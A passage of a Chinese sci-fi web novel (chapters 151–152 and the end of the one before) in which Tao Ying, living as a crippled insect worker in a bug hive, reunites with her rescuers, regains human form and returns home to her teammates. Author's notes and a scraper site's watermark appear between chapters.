正是陶影和她的新“同事”。 …… ………… 她变成了一只巨镰虫。 超大双马尾，会飞的那种。 陶影很快接受了她变成虫族的现实，开始在虫母手下打工。 倒不是她热爱工作，哪怕转生成虫族都要加班。 主要她确实没招了。 这里是第十三信标裂隙的另一边，是虫族的地盘，也是另一个宇宙。 她想要回到人类社会，需要先在无边无际的空间中，找到来时的裂隙。 还有足以支撑她前往裂隙的充足的食物。 最重要的是，得先变回人类，不然估计刚出裂隙就再次牺牲了。 总之是一项艰巨的工程。 一时半会儿也没办法离开这里，不如先保存实力…… 哪怕作为一只巨镰虫。 但打工也没有那么容易。 作为一只“从前线战场飘回来”的工虫，陶影断了两条腿，翅膀也残缺，飞出去五米就会坠地，被虫群划为“老弱病残”，算是工虫里最低等的群体。 她的工作往好了说，是在虫巢外数十公里的地方，给虫母找食物。 往坏了说，天台耗材一位。 “127号！你在哪儿！” “来了来了。” 陶影一瘸一拐地钻出山洞。 三只巨镰同事正在进行清晨的梳洗。 它们用前足压下触角，从触角的根部一路洗到末梢，触角有力地从它们的足部弹出，它们再次压下，又重复了几次梳洗的动作。 然后用唾液沾湿前足，在身上涂抹清洁…… 算了太具体的就不说了。 陶影学着它们的样子清理触角，抖了抖身体。 “嘟嘟（早啊）。” “嘟嘟。”“嘟——”“吱。” 介绍一下她的三位同事。 一位甲壳失去光泽，老得嚼不动食物，一位先天视觉缺失，走路全靠撞，剩下一位脑子有点问题，时不时原地转圈抽风。 简称老，弱，病，再加上她，四只巨镰共同组成了“老弱病残”四虫组。 陶影就这么在虫群生活了快一年。 唔，按照人类社会来说，应该有五年了。 毕竟“第十三号裂隙”的内部，昼夜节律和切斯特星不一样，不是二十四小时。 陶影曾经坐着数了一天的数，然后发现按照这里的时间，一个昼夜相当于人类社会的一周。 都快忘记人类生活什么样了。 …… 非常爱干净的同事们清理完毕，准备开始全新的一天，它们问陶影：“127，你今天去哪儿？” 陶影迎着微辣的日头，懒洋洋地跳上高地。 她望向远方，视线微微凝住，片刻后，收回了目光，然后在同事奇怪的目光中随意道： “在附近随便逛逛吧，先填饱肚子再说。” 都说工虫勤劳，每天醒了就干活，一生矜矜业业，为虫母付出一切。 但也不是所有工虫都这样。 像陶影这样躲起来摸鱼的也不少。 反正只要能每天上交定量的食物，对种群就还有用，虫母就不会把她赶走。 三位虫族这几年和陶影结伴而行，已经非常熟悉她活一天是一天的习性，对她随便的回答毫不意外。 老虫不赞同道：“你每次上交的食物都最少，再这样下去，虫母会把你赶出虫群的。” “要努力工作，留在这里，我们才能活下去。” “离开这里你会被其它虫族撕成碎片。” 陶影敷衍点头，腿在地上扫动两下，“这么关心我？那你们的食物分我点。” 三位双马尾同事对了对触角，齐齐转头。 “不要。”“不要。” 陶影所在的虫群，占有一个小型星球，资源还算充足，虫母的脑子聪明，统治稳固，内部也没什么权力更替。 最重要的是比较干净，没有瘿虫。 听同事说，这对食物链底端的巨镰来说，已经算是梦幻般的生活了。 陶影肚子咕噜噜地响，她甲壳一掀，从里面掏出昨天存的两颗水果，塞进嘴里嚼嚼。 ……饿啊。 穷凶极饿。 这里对巨镰来说是天堂，但她能吃的只有水果跟树叶。 无论如何，对着巨镰发酵的尸体，她实在下不去口。 一位同事倒下了，陶影看着剩下的同事们一拥而上，啃食同类的尸体，默默后退了两步。 然后麻着脸在地上刨了两下土。 从来没有这么想回家过。 又是搜寻食物的一天。 树叶、树根、其它小型虫族的尸体……很快，同事灵活地收集了一圈食物，打算之后交给虫族上级。 大家都完成了工作。 而陶影还慢吞吞地爬动着。 她四条腿不太熟练地在地上爬行，时不时摔倒，她向前一步，更是一不小心把同事踹沟里去了。 沟里，两只半球形的复眼不满地瞪着她。 陶影的触角抖动了一下，面露无辜，指了指身旁的另一只虫，示意刚刚不是她干的，还学着它们的样子发电报。 “嘟嘟？” 那只虫族智力不详，果然上当， 刚从沟里爬出，就跟另一只虫族打了起来。 “就是你撞我是吧？真给我们巨镰丢脸，连走路都不会。” “不是我啊，是127号！” 两只虫族肢体同时僵住，然后一副“果然如此”的表情，齐刷刷地看向陶影，眼中闪起一抹怒火。 陶影讪笑了声，飞快爬走。 她在前面跑，同事在后面追。 “就你最喜欢偷奸耍滑，127号，要不是因为你从战场回来的，我早抽你了！” “你有本事站住！” 陶影趁着逃跑，偷偷往兜里藏了几颗果子。 “127号，天都要黑了，你就找了这么点？” 一天下来，陶影找到的食物还不够自己果腹的，一看就是吃了不少，上级虫族的触角不耐地抖动两下，似乎已经到了忍耐的极限。 “明天要是再这样，你就滚出虫群！” “嘟嘟嘟嘟（嗯，您说得非常对）。” 陶影老老实实低头挨骂。 几头没有找到食物的巨镰，和陶影一起被上级狠狠批了一顿，灰溜溜地回到了窝里。 陶影前脚刚回虫巢，后脚又出门了。 同事在身后朝她发电报：“127号，你去哪儿？” 陶影抖抖触角：“去外面找吃的，我可不想真的被赶出虫群。” “哦，也是。” 同事们对此表示理解，和陶影碰碰触角，表示同情后，陆陆续续回巢穴休息。 …… 而陶影离开后，偷偷来到一处干燥的洞穴，熟门熟路地朝深处挖掘。 很快，她挖出了一大堆食物。 经过腌制的不明果实A，不明果实B，以及不明果实CDE。 全是她这些年打工之余，偷偷藏起来的。 “唔，这些应该够吃了。” 陶影满意地点点触角。 她用提前准备好的工具将食物装好，然后偷偷摸摸观察周围的环境，见一片祥和，没有虫群，当即趁着夜色，朝另一个方向飞奔。 深棕色甲壳翻动两下，陶影足上的细线微微拉动，从翅膀里掏出一个细小的通讯器，黑底绿字，写着127.0.0.1。 随着她的移动，通讯器闪烁了两下—— 作者有话说：纯情蟑螂火辣辣~ 我们小影的体质终于达成了一个飞跃式的提升[撒花]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第151章【VIP】 第151章 “嘟嘟,嘟嘟——” 耳边传来电报声。 小机器人捏紧手中的127通讯器，在空旷的山顶走了几圈，确认方位后,它小心翼翼地将通讯器夹在胸口内侧，面色凛然地回头,对他的两位“同行人”招手。 同行人一号，是只章鱼形态的小型仿生宠物。 它爬到小机器人身边,头部发出嗡鸣声。 章鱼：“奇怪,那个方向应该是巨镰虫的巢穴,陶影呆在低等虫族的巢穴做什么。” “她进裂隙应该不是为了研究大蟑螂吧？” 章鱼疑惑地说着，触肢灵活甩了甩,扭成一个“8”字型。 队伍中的第三人——金发青年上前一步,不知道是有意还是无意,他前进的时候，一脚踹开了机械仿生章鱼。 章鱼咕噜噜滚下山坡,撞在小机器人腿上。 小机器人低头一看，没有半分犹豫,将它又踹了回去。 章鱼：“……” “你们两个拿我当球踢？” “你应得的。” 三人虽然同行，但说话都不互相看着对方，关系十分诡异,言语间总有种剑拔弩张的气氛。 可以说如果不是目的相同，估计下一秒立刻开打了。 也不知道是为什么。 “嘟嘟——嘟嘟。” 很快，通讯器内再次传来信号，声音清晰不少。 他们离目标的位置更近了。 小机器人语气担心：“小影为什么总是不说话，一直在发电报。难道是所在的环境不安全？” “也可能她已经死了，是什么其它生物捡到了她的通讯器。” 金发青年定定地看着远方，不知道在想什么,片刻后，他手中的匕首转了圈，精准插在红色章鱼的两条触肢间，碧色的瞳孔冷漠对着章鱼。 “她真的还活着吗？” “当然，”章鱼触肢甩了甩，“你要是不信，为什么进裂隙，难道和叶行晖一样，特地跑进来跟陶影殉情的？” 小机器人和金发青年同时沉默，随后面色僵硬地握紧了拳头。 “我和他不一样。” 章鱼：“……”这种时候是在竞什么。 章鱼挠挠下巴，哼笑一声。 “但不管怎么说，我认识陶影可比你们早多了，她那时候还不叫这个名字呢。” “……” 你又在竞什么。 金发青年不再多说，拉来一头处理后的巨镰尸体，装进能源仓，然后爬上战绩斑斑的机甲。 “生物能源补充完成”的提示音后，机甲开始缓慢移动。 小机器人则是举着通讯器向前走。 三位同行者有着共同的目标——找到陶影，带她回家。 章鱼点点头。 “信号近在咫尺。” “马上就知道127通讯器的那头是谁了。” 灰褐色的不明植物有一米高，勉强遮掩着陶影的身形。 她四足|交替，在夜色的地表迅速爬动。 星球不大，晨昏线就在面前，陶影半跑半飞，从夜色追到黄昏，很快就到达了目的地。 面前是一棵百米高的大树。 限制于巨镰的视角，陶影很难看到高处的东西。她习惯掌控周围的环境，于是下意识就想顺着树根往高地爬。 但当她长长的触角刚碰到树木，却触电一般收了回来。 …… 陶影若有所思地看了一眼这棵“树”。 看来还是暂时不要爬，先跟队友碰头比较好。 信号就在附近，陶影扯住腿上绑着的通讯器，再次确认对方的位置。 不知道为什么，脊背传来一阵凉意。 刚刚还有叶行晖声音的通讯器，现在一片寂静，草地被风吹动，沙沙作响。 黄昏就在附近，光线逐渐朦胧。 陶影触角抖动两下。 怎么有种不详的预感…… 她的通讯器只给了四个人，太空女鬼队三个，还有一个在叶行晖那儿。 林别歌她们还是学生，不太可能进裂隙，就算想进，恐怕也会被拦住。 会来找她的只有小叶。 …… 是这样吧？ 通讯器的那头，应该只有叶行晖一个人吧？ …… 身后突然传来微妙的嘎吱声，哪怕数年没有进入过人类社会，陶影也立马认出那声音代表着什么。 齿轮转动，能源核心燃烧，武器的铮鸣。 是一台机甲，而且是知觉机甲。 她已经快五年没有见过人类社会的产物了，这会儿竟然有种回家的感觉。 陶影心中暖暖的。 她扭动着巨大的身体，光明正大向前爬去，但因为物种问题，又莫名有种蜚蠊目特有的偷感。 她靠近那台机甲，仔细鉴定了一下型号。 红色涂装，熟悉的机体形态，应该是爱荷华科技的溟火。 ……等下，溟火。 为什么来找她的人会开爱荷华家的机甲？ 陶影狐疑地释放了一点点精神力，试探机甲。 机甲的精神力模块隐隐透出气息，陶影察觉到里面是谁，睁大了眼睛。 尤里斯爱荷华？ 这人为什么会在这里？ 陶影还没来得及想清楚这人怎么出狱的，耳边突然传来破空之声，随之而来的，是一股滚烫的热意—— 背后传来攻击！ 她迅速跳开，忍着灼烧感检查伤势，发现自己展开的淡色膜翅，从中间开始，被切开整整一半。 而另一边，机甲的烈刃，正高举着，她被斩下的部分翅膀正在燃烧，很快化作灰烬。 ……谁干的已经很明显了。 机甲内，尤里斯默哀片刻，神色冷漠地抬头。 “就是你拿走了陶影的通讯器吧，我要杀了你为她报仇。” 尤里斯说着再次举起烈刃，显然把眼前的陶影（巨镰版）当成了真正的虫族，想要置她于死地。 陶影：“……” 你能不能先搞清楚事情真相再动手呢，进狱系上将大人。 陶影这具身体虽然没有痛觉神经，但遭到外部攻击，依然会有抽搐反应，不怎么舒服。 本来想临时谈谈合作，现在看来还是直接揍他一顿好了。 陶影呵呵一声。 当巨镰五年了，她依旧不太适应这个身体，但把它当作一个仿巨镰形态的机甲，操作起来就流畅多了。 （上吧，巨镰号。） 陶影用坚硬的甲壳迎敌，烈刃滑下，她一个扭头，张大嘴，直接把溟火的手指啃没了两根。 跳上驾驶舱就是一阵嘎嘣嘎嘣的猛啃。 因为靠近驾驶舱，上将大人的精神力更接近了。 陶影听见某位上将声音低落地说： “我找了她五年。” “这个通讯器是最后的线索了……” 陶影：“嘟嘟嘟嘟！（那你倒是躺平挨打啊！）” 无人在意的角落，章鱼一直蹲在树后没动。 它眯着眼观察了一会儿巨镰徒手拆机甲的壮观科幻片场景后，对着陶影悠悠道： “S，你怎么会变成大蟑螂？这个种族不太符合你的审美吧。” 陶影听到熟悉的声音，猛地回头，这才发现这里除了叶行晖和尤里斯，竟然还有第三个人。 一个通讯器究竟有几个人在用啊！ 这人表面虽然只是一只章鱼，但这熟悉的精神力…… 陶影嘴里嚼着溟火的半颗头，咽下肚子，甲壳微微颤动，明显震惊到了极点。 （莫比乌斯，你又为什么会在这儿？） 莫比乌斯：“没有你的宇宙很无聊啊，宿敌。所以我也来找你了。” （你没有自己的生活吗！） 场面一片混乱，尤里斯 似乎还在说着什么“我就知道是虫族偷走了陶影的通讯器”，叶行晖则是不知道从哪里掏出一把手持炮弹，对着尤里斯的驾驶舱砰砰射击，看上去像是积怨已久。 叶行晖：“尤里斯，你休想再让小影死一次。” 他语气铿锵，将体型比它大上十几倍的陶影（巨镰版）挡在身后。 但当转过头的时候，少年瞬间换了张面具，语气温柔：“小影，这次就交给我吧，就算你是蟑螂，我也会和你站在同一阵线的。” 陶影：“……” 你要不要听听自己在说什么？ “好感人啊，”莫比乌斯蜷缩到陶影身边，也插嘴道，“那你们负责打，我和S当裁判吧。” 叶行晖和尤里斯真的打了起来。 机器人扛着炮跟机甲打架吗？ 很美丽的黄昏，很悠扬的草原。 很神经的人类。 陶影经历过漫长的人生，也遇到过很多离谱的事。 但今天这种场面，应该很难看到第二次了。 陶影头顶冒出一个井字。 然后是两个，三个。 片刻后，一望无际的草原上，响起一只巨镰愤怒的电报声。 “所以你们三个究竟为什么会同时出现？” 三人总算是打累了。 准确的说，某两人都被陶影揍了一顿。 陶影耷拉着半边翅膀，面对终于理解了一切的尤里斯，狠狠踹了一脚他的屁股。转头又把莫比乌斯的触肢打了个死结，装在罐子里，扔到十米之外。 “你俩最好给我安静一点。” 处理完他们，陶影嫌弃地甩甩手，然后把通讯器重新塞到甲壳内，踱到刚才那棵树旁边，摸索着向上爬。 片刻后，陶影嘴里咬着一根树枝模样的东西跳到地上。 莫比乌斯很快滚过来，它钻出罐头，看着陶影手中的“树枝”，恍然大悟。 莫比乌斯：“果然，我就知道，你在虫巢呆这么久是有理由的。” 尤里斯很快抓住重点：“呆在这里的理由是什么意思，你是故意进入裂隙的吗？” 叶行晖担心地摸摸陶影的触角：“不会有事吧？” “嘟嘟嘟。” （没事，你退后点。） 陶影前足在他们面前点点，示意不要靠近，她现在要做正事了。 在拉出安全地带后，陶影找到一片已经被烧秃的土地，非常大力地将那根树枝插入地面。 然后额头轻轻抵在洞口。 刹那间，巨镰的体内炸开一股无可比拟的能量。 “这是……精神力？”“3S精神力！” 势不可挡的精神力风暴，将机甲吹动数米。 而风暴中心，巨镰的身体逐渐失去活力。 陶影的灵魂和身体产生了剥离。 不可观测的灵魂粒子，成团成团地聚集在一起，随后像金色的萤火虫，重新构成人形。 像是神明降下神迹，又像是经历过漫长生命的四维生物正在玩一场游戏。 火种散去后。 穿着卡其色风衣的女人再次站在这里。 风仍没有停止，吹得她的衣角猎猎作响。她的眼神坚定而温柔，就如同曾在莱机所的日日夜夜。 如同她死时，如同她诞生时。 风停了。 女人从容一笑，对着巨树打了个响指。 “来吧，蚀心虫，用你古老的智慧，告诉我所有瘿虫巢穴的位置。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 【全文完】 第152章 从宇宙新增裂隙,虫乱爆发，到虫灾逐渐平缓，人类经历了极为漫长的十年。 无数机师怀揣远大理想奔赴前线,无数人牺牲在历史中，成为课本上人人背诵的名字。 这是一场艰难而血腥的拉锯战。 但如同愈发智慧的虫族一样,人类也在不断进化。 与虫族长久的斗争中，知觉机甲技术飞速发展,成为前线的第一主力。 曾经的蓝图化作现实的武器,再次推进历史向前迈步。 人类终究没有被打败。 一年前,不知道发生了什么，裂隙中出现的虫群大幅减少,最后更是完全消失。就好像冥冥之中有一股神秘的力量,将虫群压制在了裂隙之内。 星际终于彻底迎来了和平时期。 眨眼,陶影死去十余年了，又是一年忌日。 摇光基地舰桥。 几名机师下班,正在回宿舍的路上。 一位新人低头猛冲，直愣愣撞到其中一名机师的胸口,他抱着头哎唷一声，发现撞到的是前辈，立刻态度端正不少。 “姚副官！” 前辈捂着胸口,面色痛苦道：“你跑这么快做什么？后面有鬼追你？” “指挥室接受到了不明讯息，需要南队长帮忙破译。那个，副官，南队长人呢？” 新兵太过紧张，语速飞快甩出一段话，前辈听到是正事，正了正神色,往舷窗外一指。 “南队长在舰桥画画，她每年今天都这样。话说不要叫她队长，是南副，队，长，别忘了，不然她会狠狠纠正你的。” “哦哦，是有这回事来着。” 进队的第一天，南副队长就跟他们提过这件事。 新人机师不好意思地挠挠头。 “队长的位置永远留给那个女人——是吧。” …… 新人得到南卦的消息，很快跑走。 几名机师看着他的背影，想起今天是个特别的日子，话题自然而然变成了当年的月星战役如何如何，陶影如何如何。 已经很少有人提起陶影了。 当年参加那场战役的人，都过上了自己的生活。 再不久，基地将会换上全新的血液，那时候，南卦和林别歌也会交还进入基 地的权限。 不会有人在太空墓地为陶影默哀了。 众人往前走，感叹片刻时光匆匆不等人，走到转弯处，肩膀被一个高大的女人压住。 在摇光基地，会这么干的人只有一个。 “少校。”“林少校！” “嗯。” 林别歌站直身体，清了清嗓子：“你们干什么呢，又偷懒是吧？” “没有啊少校！”“您多想了。”“话说您嗓子怎么哑了？” 林别歌无奈地摇摇头：“当然是为旧友伤心哭哑的，哎，实不相瞒，每年的今天我都食不下咽，吃什么都不香。” “今年更是喉咙都不舒服，总觉得有女鬼在背后偷偷看我，浑身不得劲。” “你们有没有听过那个四楼的女鬼传说？” 女鬼…… 副官无奈道：“您身为太空女鬼军团的二把手，怎么能怕鬼啊。” “而且您说话前言不搭后语。喉咙不舒服，是因为这两天吃得太辣，把嗓子弄哑了吧，我都闻到您身上辣炒疾蜻的香味了。” 林别歌被副官拆穿，也毫不心虚，只是故作严肃地摆摆手：“说什么呢，是真的伤心好吧，走开走开，你们这帮小崽子。” “得令~” 送走副官，林别歌长腿一迈，快步来到舰桥。 南副队长拿着速写本又开始四十五度角仰望天空了。 怎么这么多年这习惯还是没变。 林别歌无奈地摇摇头，从兜里掏出麻辣田鼠干，习惯性递了过去。 “吃吗？” 见南卦专心致志地刷刷画着，林别歌行云流水地收回手，把田鼠干塞进自己嘴里。 “你在画什么？” “油炸虎斑大面包三世和漆黑地狱咏唱者二世。” 林别歌两手合掌：“哦，你说那只橘猫和拉布拉多的后代啊。等下，它们不是都绝育了吗？” “嗯，这两只是新收养的，你很久没回切斯特星了吧，喏。” 南卦说着，把照片递到林别歌面前。 院子里，一只小小的白色奶猫正在扑蝶。另外一只黑色拉布拉多幼犬趴在秋千旁，也跃跃欲试。 尾巴的强大攻击力已经初见端倪。 “哦，毛绒绒的，真是让人手痒……正好下个月我就回去了，我要狠狠摸小猫。” 林别歌摩拳擦掌。 裂隙中没有新增的虫族，前线不再需要那么多机师，再过几天，办完最后的手续后，她们就会回归日常生活。 这场战争结束后要做什么呢？ 恍然间，两人仿佛回到多年前，当时太空女鬼队也像这样聚在一块，讨论比赛结束要做什么。 那时候一切都是未知，她们的回答也天真稚嫩。 谁知道会打了这么多年虫族啊。 就连柏墨也在前线呆着。 虽说跟她们不在同一个基地。 两人看向星空，心中莫名有些空虚，但又说不上来为什么。 “当时黑心队长说，等这场比赛结束，我们就去太空旅行，我早说过让她不要乱立FLAG……看吧看吧，应验了吧。” “现在她都见不到油炸虎斑大面包三世了，真是可惜。” “——哦，是吗？” 女人充满笑意的声音从背后传来。 “白色的猫，再怎么说也不应该叫油炸虎斑吧？” 这声音实在太过熟悉，林别歌和南卦愣神片刻后，不可置信地回头。 舰桥正中，女人风衣半敞，靠在门边，笑意盈盈地朝她们招手。 大衣满是伤痕，灰扑扑的。 但女人的瞳孔极黑，又极亮，让人移不开视线。 “你是……？” 女人脚踏流星般走来。 她蹲下身，手在石化的两人面前晃了晃，然后疑惑地歪头。 “怎么，不认识我了？” 女人的语气太过熟稔，南队长和林少校不禁怀疑，是不是她们的黑心队长回来了。 但女人没有她们熟悉的苍白面色，柔弱体质。 她看上去成熟，健康，一拳能打爆十只虫族……还异常善良。 和她们认知中的队长没有一点相似之处。 两人的面色疑惑而试探，但在看到女人露出熟悉的，阴险的，蔫坏的笑容后——她们瞬间睁大眼睛，放下手中的武器。 然后朝女人扑了过去。 “小影！”“影子！” “嗯。” 女人笑容满面地张开手臂，和队员们抱在一起。 “我回来了。” 陶影本来可以早点回切斯特星，但路上被事情绊住了。 她进入裂隙，是为了一条信息。 月星战役的最后，陶影曾收到过数条不明消息，破解后，她发现…… 这些信息都来自一只SSS级虫母。 遭到瘿虫寄生，奄奄一息的蚀心虫，在生命的最后阶段，将精神力撕裂成碎片，散播到宇宙中。 内容是它所发现的瘿虫坐标。 瘿虫的寄生会导致虫族狂暴，如果能根据坐标将它们一网打尽，虫乱会大幅度降低。 林别歌听到这儿，终于想通了，她猛一拍桌子，站了起来。 “所以你进入裂隙，是为了拼凑更多的瘿虫坐标，好等回来之后，提供给虫防署？” 陶影点点头：“嗯，不过其实我找到坐标后，顺手消灭了一部分。有没有觉得这两年打虫族轻松了点？” 岂止是轻松了一点啊。 南卦、林别歌看了一眼空辽寂然，一只虫族都没有的宇宙，噎了半天没说出话。 “你确定只消灭了一部分？” “好吧，一不小心消灭得有点多。” “怎么说，像帮鲸鱼扣藤壶，扣着扣着忘记了时间。” 两位队友：“……” “有时候真觉得你的精力不像人。” “毕竟我是女鬼。” 林别歌咂摸一下嘴：“说到这个，你究竟怎么从炮火里活下来的。我听伊琳娜说，小叶带去的仪器其实根本没办法提取人类的意识。” “你当时确实死了，但现在又站在这里。” “难道你真是什么女鬼，四维生物之类的？” “这个嘛……” 陶影语气微顿，随后狡黠地眨眨眼。 “女鬼的秘密。” “咦——” 天上星空满点，曾经遥望的太空墓地，眼下成为心中的回忆。 比星光更加闪亮的，是重逢的少年意气。 队友们躺在舰桥上，数着星星。 冷风一吹，林别歌突然搓了搓手，坐起身。 “那我们接下来干嘛？” “不知道。” “走之前不是约好了。” “哦，对耶。”“是有这么回事。” “我们——” “来一场太空旅行！”—— 作者有话说：三人组：太空旅行，好耶[撒花] 数光年外的四号队友：？ 正文就到这里啦。之后会掉落番外，大概是交代一下女鬼的重生秘密，感情线，再写点主角团的胡闹日常~ 其实小影的秘密大家应该看出来了吧（挠头魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m